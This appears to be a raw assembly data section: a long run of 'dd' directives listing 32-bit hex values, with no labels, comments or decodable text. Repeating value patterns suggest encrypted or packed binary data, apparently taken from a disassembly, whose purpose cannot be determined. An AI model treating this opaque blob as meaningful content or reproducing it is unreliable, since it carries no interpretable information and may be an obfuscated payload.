dd 3887AB3Ch, 0C84918h, 9D852263h, 92F3420Eh, 94250D4Ah
dd 153D1AB8h, 135DC2C4h, 0E059EEBBh, 8751B081h, 2558F445h
dd 0A61A965Eh, 53EDE87Fh, 5A00001Ah, 466C4A0Ch, 567C5AF4h
dd 486A4802h, 577959F7h, 396C4A0Ah, 0C4895F6h, 163C8CAEh
dd 0B3D92B8h, 183485ABh, 3FAEB1BAh, 16B405E3h, 0BDC975ACh
dd 5351E06Ch, 2A5B780Eh, 168EA4EBh, 70EA1B3Ch, 390A8AA4h
dd 2F15B5D4h, 0C2C41DBEh, 94F170E5h, 8302107Bh, 0EABFED60h
dd 243D800Eh, 0CE5D4562h, 0E12437BCh, 0DCBD6B09h, 0A396C714h
dd 9C6DC008h, 95CCE879h, 0CEA3D2F1h, 4767ACDFh, 70C1E9C6h
dd 89DCFEDCh, 0B9E38EC3h, 39F0D123h, 19C11Ch, 0F85EEC00h
dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h, 0F85CE9CFh, 2744EBDAh
dd 361CBA9Ah, 2C0EACA6h, 2F11B197h, 4310AE9Eh, 76DE91Ch
dd 0E33616B4h, 0C6DDC27Fh, 13354E0Fh, 83D27CCEh, 77596302h
dd 0D9D766E6h, 0A4D9F690h, 168EE8A1h, 9ABB1B7Ah, 0A12B29B8h
dd 96BC26ABh, 1B380943h, 8AD670EAh, 0B5D4390Ah, 0ACDA0F2Bh
dd 0C75FDE0Fh, 6770107Bh, 64607ABCh, 44557A6Dh, 3569BCCAh
dd 0A8F71879h, 10213382h, 2498E7F1h, 91E1B9D8h, 743A90A6h
dd 0BA02ECC4h, 8423637Eh, 26D65C51h, 372550Dh, 122D387h
dd 9DACCD50h, 0F26CA1BEh, 0BB0122D2h, 0A98B755Ah, 634D081h
dd 1F6782BEh, 5479AC0h, 9A6F9EBBh, 830713A6h, 7840109Fh
dd 250DAAEBh, 381AB894h, 0C9B2A7A5h, 2708A80h, 18E06E6Bh
dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh
dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h
dd 50CA3B24h, 1916B408h, 6CBD5E00h, 0E5351E0h, 97C5B78h
dd 109DB48Dh, 0B0AD3756h, 8EAA083Dh, 0C4C6F116h, 727F4849h
dd 0ADF07D47h, 16B7270Dh, 0E91CBBCBh, 107B1448h, 3AD33459h
dd 772EA09Bh, 4562243Dh, 9F0B1D10h, 0F6311676h, 0D9E2644h
dd 0EB7AD665h, 9BAACBAAh, 6542449Dh, 8BA13DF0h, 4194B670h
dd 0BADB3A0Bh, 0A8A4351Dh, 0B5052D0Ah, 0ACFD4F99h, 7BD4ADA0h
dd 32F9DA02h, 183917h, 70E67400h, 70DE7052h, 6EDC7052h
dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh
dd 775979CFh, 7B4866E6h, 7A52154h, 3B6E16B4h, 70E5C207h
dd 109DB516h, 2436BEDFh, 8EAABB91h, 0AE943353h, 2224351Fh
dd 6BAABB8Dh, 0DE38AD0Ah, 0A7109DB4h, 0C815E66h, 168BF8DCh
dd 0B32F5E81h, 7C0A8767h, 0F312CF19h, 7FDFEBD4h, 979D3329h
dd 972A104Dh, 0FCE615B5h, 0F60A8728h, 173999E9h, 12986C6h
dd 7559FB3h, 7A4E207h, 756DC6D6h, 3D9AFB10h, 2989C515h
dd 0C697B707h, 661B3184h, 79EBCB89h, 8FF6D39Ah, 1E000017h
dd 0C2E8C690h, 0DA00DE70h, 0C4E6C486h, 0DBFDDD73h, 0B5E8C68Eh
dd 90C4117Ah, 92C01032h, 8FB90E34h, 94B8092Fh, 0B3222D36h
dd 16B40957h, 0A3550920h, 0CCEBC8BEh, 0BEFD42E3h, 0A7311495h
dd 8C314858h, 0BB187D16h, 6EAFB39Ch, 0F5FDD169h, 845190CEh
dd 48905C52h, 3999B306h, 3A0E2FDh, 0D091481Ch, 0C711B6B9h
dd 9F0B5B8Ah, 59BC0A87h, 9F187908h, 706F0A87h, 8C54F64Ah
dd 0FCDE8902h, 7FD7E167h, 5AA80CB1h, 8019h, 0DDC23D00h
dd 8BF04928h, 3D794387h, 64436022h, 0D465EF3Eh, 90C411B5h
dd 97840C1h, 109DC991h, 93C2E5C2h, 109DCA37h, 72EC9D00h
dd 3B109DCAh, 305512DAh, 0CA72D021h, 1AAE109Dh, 8A1D2130h
dd 1AABAFBEh, 0C1E22332h, 844D38D1h, 0E4C6710Ah, 6AF2FA50h
dd 0A341F3AAh, 2412h, 11702800h, 33109DB5h, 0A7B582Eh
dd 168EA403h, 70DA6E54h, 4CDDE1h, 27B1D031h, 5A7B5BBAh
dd 626AE878h, 0C8BEA3F8h, 51E6CCEBh, 0CFAEA434h, 0AF9B8605h
dd 0C144168Eh, 51FB4E70h, 2735471h, 0A8A9888h, 0D204CC51h
dd 84DE0F7Fh, 0BD0A8A98h, 8A97CE48h, 0E976970Ah, 0C4E6C5A4h
dd 508FDE74h, 8A97C11Dh, 6A0B8A0Ah, 97BE184Dh, 6870A8Ah
dd 9E2B2FBEh, 9C2B66F3h, 564A5B4h, 62F1D564h, 0D0B1992Bh
dd 63EF3D81h, 781181D2h, 0A285BA8Dh, 8A97D733h, 737DA00Ah
dd 5FF2A019h, 5AEBCDEDh
dd 0CDAC9C2Fh, 5D29407Ch, 84020F7Eh, 0AAEB107Bh, 0B4072B0Ch
dd 7C44C594h, 6645075Ah, 7492A441h, 9D3CEF3h, 95CC2B5Ah
dd 1D555C84h, 95D4FBACh, 0F0976FD8h, 22B3A52Fh, 13A68C2Ah
dd 72B2839h, 0FD4F99B9h, 0BD93A2AEh, 0B90CB653h, 0BC0D3393h
dd 80D17DCDh, 0D3D16001h, 0AADBF88Eh, 92319437h, 2C0EADF0h
dd 0F45EEE97h, 0F4452465h, 2B0D4B95h, 2D15B29Ah, 0C726AE9Ah
dd 4C1D3583h, 0E7D1B90Ah, 8F2E35C3h, 5A7CCDACh, 0D1F64709h
dd 9C513AC3h, 0F121324Ah, 3517AA58h, 0B384E524h, 0C518CA3Fh
dd 21062787h, 0C351AAC3h, 26B317E3h, 0F6FE1F2Eh, 6AFB51E4h
dd 21B0134Eh, 755233h, 8C1DD109h, 86C4183Ah, 0E18E56B7h
dd 0A93C1EBCh, 8AB592A3h, 4DA3F175h, 449ECF44h, 0D801A4Eh
dd 0A0DFE988h, 701A4E22h, 0B180CA5Eh, 42133F8Dh, 7E67E40Eh
dd 13C4355Dh, 2AB2A22Fh, 17B79528h, 9BAA9E31h, 1B2A2AB7h
dd 0AE64D573h, 0A98F2F19h, 0AD953216h, 0E223321Eh, 0F8478BDAh
dd 4DEF6B9Ah, 9123701Ah, 0DA69A8B9h, 0D88BDABBh, 0DD75C3E7h
dd 52007913h, 0FE588DFDh, 32701A4Dh, 7E9FAEA0h, 0EDCDACF1h
dd 81D078CBh, 6B483E23h, 0B482FFAh, 0A4B5D876h, 15CD3EB0h
dd 72886C2h, 3259B528h, 0E3226A07h, 2366F7D9h, 8BDABB93h
dd 4293F647h, 0B78FA50Ah, 319D9585h, 8FF90150h, 57F548FAh
dd 164E4F78h, 0F3D874C5h, 757FAD5Fh, 0D3644667h, 2DEB737Dh
dd 95FA28F5h, 23h, 0DE6ABDA9h, 4E38318Fh, 85A9FC71h, 0EDD2168Eh
dd 71449EBCh, 0FA677164h, 0A7C684D8h, 3F2807h, 0C2860000h
dd 320351E0h, 74C709D3h, 0A5D8F7D4h, 109DB529h, 0F07FCB5Dh
dd 0B5247EEFh, 0A8ED109Dh, 4460FFC9h, 654A691Dh, 0B3FCA904h
dd 0BC99234Ch, 8F32F449h, 0FB6A6D16h, 0A8B2E9Fh, 66442568h
dd 0C0D9B9CCh, 74EE1FA9h, 3D109DB5h, 0EB1AB9D8h, 168EA64Ah
dd 0B29D3A5Bh, 29773299h, 6627B115h, 1B2C6BE7h, 675C85DEh
dd 0A8E978D8h, 77C8EAC9h, 0E5C20FD9h, 9B1D6FBDh, 0F5F78133h
dd 0C3428AEBh, 1BC80DAEh, 0D9D766A7h, 0ABA33390h, 0E5CAEDCAh
dd 5B7CC384h, 22616B47h, 15B4E34Fh, 213382C8h, 1524307Dh
dd 143695F4h, 0D775C8C1h, 0C73619B6h, 9B0CF4Bh, 0E9E7F114h
dd 0C11376C7h, 3859B889h, 2BBD3045h, 0A3BE6D7Fh, 1386h
dd 1BBB9B27h, 9A9A535h, 15B59527h, 0EACA433h, 17B79D2Ch
dd 53E20B24h, 317FA101h, 0C9F8121h, 29BC9E3Ch, 99B68323h
dd 0B40CEA64h, 45EB316h, 9DB61670h, 8F393010h, 203119ABh
dd 0B41670E1h, 0DF109Dh, 9DB4118Dh, 0DABBDA10h, 0A5361CBBh
dd 717B9AABh, 0A21CF164h, 0B0D5168Eh, 0AC9C2F13h, 310E310Eh
dd 8A9C62BCh, 7BEA2B0Ah, 0A8A9C1Fh, 9BA92558h, 13720A8Ah
dd 0D5F7C144h, 5377C682h, 0C174A02h, 3580058Ah, 12F85B76h
dd 29B50000h, 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h
dd 8DA29131h, 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah
dd 68E2133Ch, 3116B40Dh, 0E5C246F8h, 9DB51670h, 36BEDF10h
dd 8A7DF0Ah, 8EA400D5h, 7754B916h, 70E27258h, 7AD46668h
dd 6AE4765Ch, 0E666F7DBh, 6BE37357h, 2569F8DAh, 0AC7A96A2h
dd 0EE7F1E52h, 2411AA28h, 3AED5E90h, 0F1DB1B15h, 0C20AD7D4h
dd 0B2103E90h, 7078118Ch, 17A7F314h, 0AAAF9837h, 27135EC7h
dd 176605CFh, 0A8AAAB6h, 0E98E2B97h, 16DE72C1h, 0FFDC72C4h
dd 72C38BDBh, 0A58BC913h, 0C283915h, 0E312B1D5h, 1078EF91h
dd 2288706h, 72D5D7AFh, 7D005537h, 9398BF1Ch, 0A85875E1h
dd 4A706E76h, 517655F7h, 0C5315BE3h, 10CF195Ch, 1AB9CD14h
dd 62F414EBh, 0AF0C910Ah, 0A13FA790h, 92A881C1h, 636D0C3Eh
dd 4E6CE071h, 5473D96Ch, 8BB3816Bh, 3CD7BFDh, 65214864h
dd 39FA1746h, 0C243044Fh, 0C6279E8Fh, 0D9F4B36Dh, 11E2h
dd 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh, 0F3D381D0h
dd 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h, 0D521FBFh
dd 0B40F7ED8h, 70D24716h, 2130DDC2h, 599871D8h, 0E89DF08Fh
dd 6EC1109Dh, 0A5BCFCDAh, 0E493C2E1h, 51168C33h, 62BC310Eh
dd 2B0A879Dh, 9D1F7BEAh, 0A5E80A87h, 71C3E7C4h, 475FF9D9h
dd 0A3C1DE89h, 18531h, 0E0C20500h, 0C7F3FD4Bh, 0DFC3E09Eh
dd 0D1300151h, 93C24D07h, 109DB532h, 1F7BEA29h, 0E8109DB5h
dd 0C3E7C4A5h, 0A8BDA72h, 68C218C2h, 77580B75h, 9DB48C06h
dd 0DD6D5510h, 42B31071h, 109DB4C8h, 1AC40C91h, 8675DDC2h
dd 5C430D9Eh, 22AAD31Ch, 9EB8C816h, 0BDA3A781h, 64FE6BC7h
dd 41DE9947h, 0EC547BA6h, 0A7D32489h, 37B2E9F3h, 88000000h
dd 69C5BBA3h, 0B53293C2h, 8203109Dh, 50E0C2A8h, 3F5EEE3Fh
dd 0A887A8B5h, 9DB4D935h, 5963A210h, 0DF6BBDFFh, 4DDC283h
dd 1B60CC9h, 0A87A9C24h, 53C4h, 0BBA36A00h, 0DE062AFFh
dd 7F1E66C4h, 0CF47760h, 0BDBD5318h, 9E87CE48h, 17769710h
dd 0DDC213CDh, 0AD20ACF8h, 578625CEh, 109DC6FBh, 5A7741C4h
dd 9DC6AA2Bh, 372A110h, 109DC687h, 0E84128B8h, 6CFBF6D3h
dd 0C2EE4829h, 51E0C268h, 4597B903h, 0E37D2905h, 41DE9947h
dd 4641A6h, 0B0920000h, 2DA7311Fh, 6BC7BDA3h, 0F5BAE5C2h
dd 60BA2BC9h, 29109E7Ch, 1844BFE4h, 56B7569Eh, 27109E7Ah
dd 0E0C24CE6h, 0E6F3FD4Bh, 4DE0C24Ch, 0B552CC41h, 0FA1B109Dh
dd 814BCA9Bh, 0F34FFF4Fh, 1BC4E37Dh, 6A000000h, 6BC7BDA3h
dd 351E0C2h, 0E8699CB9h, 0DF109DB4h, 68C2E47Eh, 45E16DBDh
dd 0E5C2E37Dh, 9DB51670h, 0C41E4F10h, 8D109DB4h, 0F8DA3B08h
dd 3859E866h, 0FE79A5B0h, 0A486FFFFh, 0EF2E3F15h, 0E0C27BE5h
dd 7CB8004Eh, 53822165h, 168BF941h, 92B81776h, 90AD0D3Fh
dd 89DE87A7h, 0DD7CBF3h, 0EFCCB6B1h, 35ABE7D0h, 6B9B5F6Dh
dd 86F9A0FAh, 8724690Ah, 86F9FC56h, 7840C50Ah, 0F9B02A5Bh
dd 14790A86h, 93240645h, 7CD433BDh, 0C70A86FAh, 0CC46B798h
dd 950A86F9h, 50FA4E70h, 0DA8DFE88h, 346CDCF5h, 0DD7B0F7h
dd 0A84A8755h, 2B2F5Ah, 70130000h, 109DB512h, 7151FB4Eh
dd 9DB48302h, 7BCA510h, 49C899B9h, 435A8B28h, 84168EA3h
dd 9E84A101h, 5D78400Ah, 0B2h, 0C8BEA301h, 0AB037AEBh
dd 8104168Eh, 0A3EFFD22h, 3143DB15h, 9B00A4CAh, 0F4FC41CAh
dd 0D870C3E7h, 0C787D7FBh, 8FCD1776h, 233216A9h, 0DAADC05h
dd 7888B0D8h, 33A28510h, 473F7D7h, 0C495BD0Bh, 3397F645h
dd 0C623ADA5h, 16476847h, 473F7BCh, 9BB80085h, 0FF5E24B7h
dd 0E151157Bh, 0ECCEEC8Dh, 4460F157h, 1B4A691Dh, 0A623E6Fh
dd 3416B5D8h, 250BABA1h, 8EC5B894h, 0CF73D898h, 0ED43D18h
dd 8DD90000h, 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh
dd 71BEEDCDh, 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh
dd 6CE61738h, 3516B412h, 0E5C282DCh, 9DB51670h, 6DFBDF10h
dd 543554E5h, 55F74A8Ch, 0DD6FC204h, 0FE87DCFEh, 7091A0AAh
dd 7218C711h, 1EAF63D8h, 6434902Eh, 0CCA341E6h, 68h, 0C8BEA372h
dd 57E6CCEBh, 99A8AA3Ah, 30CF1978h, 168EA63Dh, 0C8C11436h
dd 786D775h, 0D7B6D766h, 98F14486h, 0D7360745h, 183718B6h
dd 8AA369E5h, 9D3320Ah, 0F9D676C7h, 0BA0D84D1h, 3F5EEF8Eh
dd 311936B5h, 783F2A4h, 0D00A8AA3h, 0FC1D2C4Dh, 0E5A1C8F4h
dd 72C1E9C6h, 0C60E8FDEh, 7B98AE47h, 1AABAF10h, 0D5735332h
dd 0C1E16DBDh, 0E0FF4FDFh, 0C9E668FAh, 9DB53A94h, 3A820310h
dd 0B5055AABh, 9A2D109Dh, 0B2F10AEh, 0CC84D3BEh, 737D1C7Dh
dd 47642247h, 8BFF7816h, 0E7163916h, 0A87696Bh, 5A07D134h
dd 22B69C3Bh, 8BAC8B28h, 8769005Ah, 1544C90Ah, 0A8768B9h
dd 9BB90382h, 0DE89473Dh, 8331A3C1h, 5000001h, 6AC4BAA3h
dd 93C2E5C2h, 109DB537h, 0B4539D00h, 109DB555h, 0C271CD4Ch
dd 0E16DBDE5h, 0DAE26EBDh, 0DB0B7580h, 69C5BBA3h, 0BDA3A781h
dd 6FC2E8C7h, 0C24913DDh, 0B3C50E0h, 0CC15F521h, 708D0B1h
dd 4DE0C25Bh, 0BF6DF5FFh, 27A641DEh, 64h, 0A6DDC23Bh, 6DE1713Fh
dd 2216BDDCh, 1824ACB2h, 581F4CEh, 0CE109E14h, 0C2142E4Fh
dd 9DB53293h, 0FF4F7310h, 559FFE4Fh, 0C2D97598h, 0DDC268h
dd 0D44A0865h, 0B2064890h, 0E0C2BE98h, 2F6EFF4Dh, 4011398Bh
dd 4895F7C1h, 5C7ED062h, 97F6470Dh, 0E0C2934Dh, 97D8FF4Dh
dd 9AB97961h, 5A88D31Dh, 26000000h, 5530DDC2h, 389B92D8h
dd 635A84B0h, 431F7ED6h, 0B53293C2h, 0EA29109Dh, 9DB51F7Bh
dd 0D2A95010h, 50957E5Bh, 871D8203h, 0E1B68DBDh, 0C2E94524h
dd 196BBD68h, 6FF80E18h, 1C3657B3h, 388FDDC2h, 0B8735875h
dd 9DCDC945h, 12739210h, 381748CAh, 9DCE49C5h, 0E9F31210h
dd 0DE99476Fh, 3241A641h, 15000000h, 6BC7BDA3h, 0B53293C2h
dd 8203109Dh, 0A4B0FD25h, 0E0C2C21Ch, 0D031004Eh, 0BD6FCB08h
dd 0C245E16Dh, 0AC3C4DE0h, 177697A6h, 0C4954BCDh, 34h
dd 0C7BDA36Ah, 0BDE5C26Bh, 0E8FDE6Ah, 0B4C647C6h, 5CBD109Dh
dd 0C268C202h, 0F3FD4BE0h, 61FD51E1h, 1670E5C2h, 0DF109DB5h
dd 72EC21BEh, 3B109DB5h, 0E28012DAh, 0FFFE74C4h, 0BEA36AFFh
dd 6A7AEBC8h, 9F168BF9h, 617E617Eh, 8768B22Ch, 295C7B0Ah
dd 0A8768ADh, 6E761776h, 2CADD96Ch, 8477D4D9h, 0B6993657h
dd 86BCCB47h, 0DEAB940Ah, 0D3652A74h, 82D01879h, 98517AA5h
dd 0E98F32BFh, 2667F65Ah, 26417D47h, 7A607F5Ch, 2C5B65E7h
dd 0A86F2B2h, 0BA4B1A7Bh, 0A86F362h, 0C4E861ADh, 5AA8D8F4h
dd 3C5Ch, 12700200h, 4E109DB5h, 0E86293FBh, 0B1109DB4h
dd 77F1476Ch, 0E1630113h, 22052280h, 9E5F57B3h, 0F3FD2010h
dd 11BE8h, 4CDFC300h, 8D298736h, 0D5B4B426h, 61F34284h
dd 8D0B1D0h, 0C8BEA34Eh, 0ABFF7AEBh, 5278168Eh, 0F398E03h
dd 36BEDF6Eh, 537754B9h, 0D89C8604h, 6AE57480h, 0B394C10Bh
dd 0D9E62F8Ch, 88D77134h, 791879C8h, 90AF2B5Ah, 15780A8Ah
dd 123689CBh, 1EAF93B4h, 1FB4A62Eh, 0C51C1829h, 70C0E2C1h
dd 0AA3253E2h, 0D51438ADh, 0FEE11078h, 7445138Fh, 63F6DC04h
dd 0A34088E9h, 0CA5D4562h, 0E57A607Eh, 0CB5E4463h, 8751B081h
dd 0D6D4FBD8h, 0AEA231CCh, 48778209h, 962D3480h, 0C31F4E46h
dd 8C047449h, 0B8D96809h, 0FADDFAD9h, 744A0F8Bh, 2BB5D804h
dd 629432DCh, 5B49B0Ah, 87FDFFF8h, 0ABEF330Fh, 5E7B8004h
dd 27BAA03Fh, 99CF667h, 2065FE5Eh, 0EE3F6141h, 9F16DA0h
dd 98BAFE5Eh, 0A6B0A48h, 0D8F82A57h, 0B5905773h, 0AAAh
dd 3F9FB703h, 2585C919h, 3999B103h, 2A88C817h, 3B9BB908h
dd 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h, 0F5DAE7C7h
dd 0B4160680h, 0E85ACF16h, 84BAE5C2h, 9AAA9050h, 0FAD53120h
dd 7F9E109Dh, 0B4D26375h, 159D6763h, 0E242FB12h, 9B883FCEh
dd 8DCA9BFAh, 2B3A16A5h, 5DF0E2EAh, 0E77C5EEFh, 5CEED061h
dd 726063F2h, 8C06ECD9h, 97F243EFh, 0D9380949h, 818A83F2h
dd 0C8A90035h, 0C78252EAh, 3C2AA341h, 8D000000h, 29ADEBA2h
dd 32BA5814h, 0C8BEA3A8h, 0A4EB7AEBh, 0F91C168Eh, 79D36668h
dd 66E67759h, 0F690D9D7h, 0A4D9F6D9h, 0A8AA42Ah, 0BB4A92F3h
dd 107B9B3Eh, 0C7E8C647h, 6AFB53E3h, 0BD37A12Bh, 92C1E16Dh
dd 109DB53Fh, 4BBAD063h, 109DB4CFh, 0B6147598h, 0B8176F7Ah
dd 8BFF8E45h, 6D4ACB16h, 7757F345h, 0DE8947D9h, 1131A3C1h
dd 5000001h, 6AC4BAA3h, 0B53293C2h, 0A829109Dh, 7568C28Eh
dd 0BBA3DB0Bh, 0A78169C5h, 6BC7BDA3h, 994764FEh, 41A641DEh
dd 39h, 0D1DDC215h, 9AC2379Ah, 381AAA0Ch, 265A84B0h, 3293C20Ch
dd 3109DB5h, 0AEFD2582h, 1FAF93A2h, 9EFF1E2Fh, 68C28C56h
dd 83DF6BBDh, 0E87A607Dh, 0C4045E66h, 49h, 0C5BBA36Ah
dd 3293C269h, 29109DB5h, 0B92C0BA8h, 109DB55Dh, 83DDE726h
dd 0C47DDC2h, 0C72F1BCDh, 0D8FFE0FDh, 831D9FFBh, 0DB854FB9h
dd 0DF6BBDh, 0A1465FD7h, 3D87F453h, 50E0C2A3h, 758BA02h
dd 0C0DE5020h, 656F1E57h, 0DE9947FBh, 2F41A641h, 15000000h
dd 351E0C2h, 21637DB9h, 3293C205h, 3109DB5h, 68C2A882h
dd 45E16DBDh, 0B110DDC2h, 537DB0F8h, 9AFB4A02h, 19FF1FBh
dd 24C4h, 0BDA36A00h, 93C26BC7h, 109DB532h, 0C28EA829h
dd 94C16CDDh, 5098E23Ah, 0AAFE2403h, 0BDBE18A0h, 7D45E16Dh
dd 4BE0C2E3h, 0E6E8F3FDh, 46FFFFFEh, 0EBC8BEA3h, 8BF96A7Ah
dd 617E9F16h, 3F63E779h, 48955FEFh, 5D7DCF62h, 5F7C0661h
dd 0D564EC7Bh, 0BE2F2CB4h, 0A876964h, 0B894252Dh, 380968A9h
dd 87694FC9h, 0DB709A0Ah, 0A852E3B1h, 154B5Ah, 0C2EF0000h
dd 0F6FE4CE0h, 9DB53797h, 6AE27310h, 0F76D4Ch, 0A3D10000h
dd 7AEBC8BEh, 168EB277h, 0C385DA00h, 8A296CF9h, 0AFDE38ADh
dd 66A70A8Ah, 659815Eh, 13426542h, 0A8AAFB7h, 3A29DAE8h
dd 122129ADh, 0CAEBE9F3h, 0D8FA58E8h, 1677C684h, 11378CCEh
dd 0E66095B2h, 0AF0A8A5Bh, 0A907666Eh, 74E9C6C0h, 1078A054h
dd 684764A9h, 0EF98F042h, 4BDF1195h, 84A92F3h, 2CA6D7B3h
dd 0F504748Ah, 0F4D1F190h, 0EFD37DCEh, 3C5DEC5Ch, 750DA2B4h
dd 3882F98Ah, 0A4389AF2h, 3A76C7A6h, 578572Fh, 0A622D39h
dd 634463A2h, 719CA73Ch, 3A82CE4Ch, 94C9C518h, 0FE5D883Ah
dd 3591C403h, 0FEFE5D88h, 3F9FFE9Fh, 0A4AA3C1Eh, 0E2A73A1Ch
dd 2D6CFD4Fh, 75EE194Ch, 600773D8h, 78965h, 0C0962400h
dd 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h, 54E1C7h, 4FBC73A2h
dd 4E745202h, 547654FEh, 476949FFh, 6B7856F6h, 1895F164h
dd 4B5E16B4h, 0E06CBD17h, 70DC6D51h, 1AAF19E1h, 5877D568h
dd 3257DD6Fh, 6809AEA0h, 78666EA5h, 6DE57357h, 0AB33BDDCh
dd 0A34141EDh, 2755h, 0BEA3E900h, 78C7EBC8h, 0C00889D8h
dd 0A1E76293h, 6DB0168Eh, 0A02DADDCh, 0A840A8Ah, 18D4B71h
dd 5F355AADh, 9000000h, 351E0C2h, 0AD09D332h, 0CDF5D2B4h
dd 283D27Eh, 0B1689DBAh, 0F2168EB3h, 2D80C293h, 2342085Ch
dd 0D832A384h, 0A10A8AACh, 4466747Ch, 0AE0A5BF1h, 66E015B3h
dd 9F0A8AADh, 8AACF46Eh, 0B58BD0Ah, 99CCEB8Ah, 107BAA94h
dd 6C4B68ADh, 0A7C01A4Bh, 4890477h, 77A7F955h, 7943C204h
dd 25B9FD5Bh, 0C2E1A5BCh, 8EA61293h, 1E22316h, 0C6E3F9DEh
dd 0FB4BE721h, 75C484D7h, 823DCC14h, 58CAD893h, 27567511h
dd 5004F012h, 4909577Bh, 30AADBF8h, 0F94400EDh, 7EEBF594h
dd 0F7F24E1Fh, 2203E2C9h, 1A7BAA57h, 407548BDh, 0AFEE49F2h
dd 0B5972A10h, 0AAA23315h, 691A9EB7h, 0C904A3B3h, 646h
dd 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h, 5777DD6Ch
dd 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch, 59764363h
dd 0B419AA24h, 441E7316h, 0FF4DE0C2h, 0FA52E3F5h, 75D5676Bh
dd 6FE57456h, 71567765h, 798CB47Ch, 0CBA0A39Bh, 8CB25D42h
dd 459C9820h, 0D1F36241h, 26168BFCh, 4FE2C8E7h, 5274F3FDh
dd 0C2194CFEh, 0F3800259h, 5D41934h, 8DD90000h, 77C7E9C9h
dd 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh, 2787CD1Ch
dd 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h, 3516B41Bh
dd 0E5C282DCh, 9DB51670h, 6AFBDF10h, 8D1F83E2h, 636DACBDh
dd 1EB11257h, 0F96C4B2Ah, 168BF8D3h, 7A5CED30h, 0B4F164E6h
dd 0D1800255h, 5743F1Ah, 0AD390000h, 972709A9h, 9F3117B7h
dd 96250BABh, 0A7361CBAh, 111E0DADh, 0C7E76DFCh, 0DFFF53E1h
dd 0C4E266F9h, 0A1014BDEh, 0CC46B798h, 9516B41Ah, 0BEA3E27Ch
dd 0E6CCEBC8h, 2A6BFA54h, 0F91963A2h, 1F7E168Bh, 92B80C4Eh
dd 257B4DFh, 332EBD80h, 522h, 0B7173F8Bh, 0AD0D4191h, 0B111398Bh
dd 0B210408Fh, 0B3134190h, 0EF3EAF80h, 0D5634565h, 0E87B5D7Dh
dd 0CD604260h, 4D925F7Fh, 0B41ABE18h, 30128716h, 8E1D6CBDh
dd 0B092A3C2h, 0CD1E2F1Dh, 2403B445h, 9DB555B1h, 0E0FF1E10h
dd 9DB531ADh, 519BFA10h, 419EAEFFh, 3983C719h, 0A8A4351Bh
dd 0B4E96899h, 9625109Dh, 17A7ABBAh, 3DB52637h, 309AD9CCh
dd 3356E79Bh, 7D9CADA5h, 4C9BBF1Ch, 0C19EBC04h, 35044899h
dd 0EE60F2D4h, 0EB61F4E6h, 67E5785Ah, 64224747h, 0A2DB1647h
dd 2164168Eh, 9F61E110h, 0C9D0A8Ah, 9EF75382h, 5DC00A8Ah
dd 98292D3Ch, 0FD6FA5B4h, 350998Ch, 18CCF01Ch, 22B37750h
dd 9BFA1B2Ah, 1A42B751h, 5AAD735Ah, 0A7371B3Ch, 67796A7h
dd 0A8A518Ch, 71A83055h, 4Fh, 4CE0C2C5h, 0B551CD40h, 0FB1A109Dh
dd 824ACB9Ah, 7C5B2B36h, 8E980809h, 0A5B4D916h, 0FA5489A6h
dd 0C30A8A87h, 8B0B7A42h, 0E20A8A87h, 3E6413A8h, 0CD955FE9h
dd 5AAD390Fh, 134C6F1h, 787390D8h, 89DD8905h, 5233520Ah
dd 0B1138Ah, 0BD270000h, 57B3226Ch, 20109DB5h, 8ECD9CFDh
dd 24351BACh, 6CF9DBE5h, 79ECCBE8h, 109DB51Dh, 0CE1DA7E6h
dd 4213398Ch, 3F9FAD00h, 9DB18FCCh, 0D6664C10h, 24ACED7Ch
dd 0DAD9F32h, 0A3B29A2Bh, 8D2A5C85h, 8E820D58h, 7757B616h
dd 77543237h, 80480053h, 0E8882253h, 0C911074h, 163E8BAFh
dd 114392B8h, 0EFC3FD5Ch, 5E7B3279h, 386h, 1BBB9B27h, 9A9A535h
dd 15B59527h, 0EACA433h, 17B79D2Ch, 53E20B24h, 317FA101h
dd 0C9F8121h, 29BC9E3Ch, 99B68323h, 0B41CEA64h, 45EB316h
dd 912170BDh, 1AAAACBDh, 89E82938h, 55E8CAE8h, 0C279D7F7h
dd 0B51670E5h, 0BEDF109Dh, 0A7DF0A36h, 98F4D508h, 0D35168Eh
dd 9D4A92BEh, 0E7775B78h, 2DB7D667h, 88CF4FBEh, 0BB0B0A8Ah
dd 2D80C293h, 850D4E1Fh, 4EB801F4h, 3EC18FBDh, 0C1695AADh
dd 0CD000000h, 51E06CBDh, 0E574E06Dh, 9DB17794h, 0AE9E2F10h
dd 0B5972A10h, 3483A7A4h, 8168D41Ch, 0EA37A605h, 93168E81h
dd 54735472h, 8A7FA521h, 0A04D60Ah, 705B6A08h, 1E1AA2E3h
dd 71E4C3C3h, 10748794h, 8F0B7A5Dh, 58047483h, 0DE6FE172h
dd 20BFDEBFh, 0AA9AB3Ah, 0A9B89628h, 2D3C18A5h, 15438DECh
dd 7DF0A633h, 4748421h, 97CAABEAh, 79EF7230h, 8BBF9A51h
dd 22000002h, 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh
dd 31644212h, 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h
dd 37A6A9B2h, 16B41DDBh, 0C2D16DA4h, 320351E0h, 7AC709D3h
dd 0F4DBFCDAh, 0A5A6146Eh, 0A5A731DAh, 409A3814h, 1670E5C2h
dd 0DF109DB5h, 912436BEh, 45331CBBh, 0C278BFB4h, 4B89C18Ch
dd 761794C7h, 8ADBFF6Eh, 0E4C3E4C2h, 9E6D1571h, 35BFDE10h
dd 55E3E009h, 4C2D6CFDh, 0F19486Fh, 0E582F5FBh, 128FFEDBh
